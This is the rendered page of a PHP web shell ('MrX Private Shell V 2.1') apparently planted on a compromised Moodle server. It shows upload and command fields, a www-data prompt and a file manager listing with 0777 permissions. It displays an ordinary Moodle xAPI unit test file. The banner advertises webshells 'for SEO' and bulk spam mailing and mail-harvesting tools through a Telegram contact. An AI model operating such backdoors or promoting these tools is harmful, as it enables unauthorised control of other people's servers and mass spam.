__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * This file contains unit test related to xAPI library.
 *
 * @package    core_xapi
 * @copyright  2020 Ferran Recio
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
namespace core_xapi;

use advanced_testcase;

defined('MOODLE_INTERNAL') || die();

/**
 * Contains test cases for testing xAPI iri class.
 *
 * @package    core_xapi
 * @since      Moodle 3.9
 * @copyright  2020 Ferran Recio
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class iri_test extends advanced_testcase {

    /**
     * Setup to ensure that fixtures are loaded.
     */
    public static function setupBeforeClass(): void {
        global $CFG;
        require_once($CFG->dirroot.'/lib/xapi/tests/helper.php');
    }

    /**
     * Test IRI generation.
     *
     * @dataProvider iri_samples_provider
     * @param string $value Value to generate IRI
     * @param string $expected Expected result
     * @param string $type = null If some special type is provided
     */
    public function test_generate(string $value, string $expected, ?string $type = null): void {
        $iri = iri::generate($value, $type);
        $this->assertEquals($iri, $expected);
    }

    /**
     * Test IRI extraction.
     *
     * @dataProvider iri_samples_provider
     * @param string $expected Expected result
     * @param string $value Value to generate IRI
     * @param string $type = null If some special type is provided
     */
    public function test_extract(string $expected, string $value, ?string $type = null): void {
        $extract = iri::extract($value, $type);
        $this->assertEquals($extract, $expected);
    }

    /**
     * Data provider for the test_generate and test_extract tests.
     *
     * @return  array
     */
    public static function iri_samples_provider(): array {
        global $CFG;

        return [
            'Fake IRI without type' => [
                'paella',
                "{$CFG->wwwroot}/xapi/element/paella",
                null,
            ],
            'Real IRI without type' => [
                'http://adlnet.gov/expapi/activities/example',
                'http://adlnet.gov/expapi/activities/example',
                null,
            ],
            'Fake IRI with type' => [
                'paella',
                "{$CFG->wwwroot}/xapi/dish/paella",
                'dish',
            ],
            'Real IRI with type' => [
                'http://adlnet.gov/expapi/activities/example',
                'http://adlnet.gov/expapi/activities/example',
                'dish',
            ],
        ];
    }

    /**
     * Test IRI generation.
     *
     * @dataProvider iri_check_provider
     * @param string $value Value to generate IRI
     * @param bool $expected Expected result
     */
    public function test_check(string $value, bool $expected): void {
        $check = iri::check($value);
        $this->assertEquals($check, $expected);
    }

    /**
     * Data provider for the test_check.
     *
     * @return  array
     */
    public static function iri_check_provider(): array {
        return [
            'Real IRI http' => [
                'http://adlnet.gov/expapi/activities/example',
                true,
            ],
            'Real IRI https' => [
                'https://adlnet.gov/expapi/activities/example',
                true,
            ],
            'Invalid IRI' => [
                'paella',
                false,
            ],
        ];
    }
}

Filemanager

Name Type Size Permission Actions
external Folder 0777
fixtures Folder 0777
local Folder 0777
privacy Folder 0777
task Folder 0777
api_test.php File 6.07 KB 0777
handler_test.php File 12.9 KB 0777
helper.php File 4.05 KB 0777
iri_test.php File 4.1 KB 0777
state_store_test.php File 22.2 KB 0777
Filemanager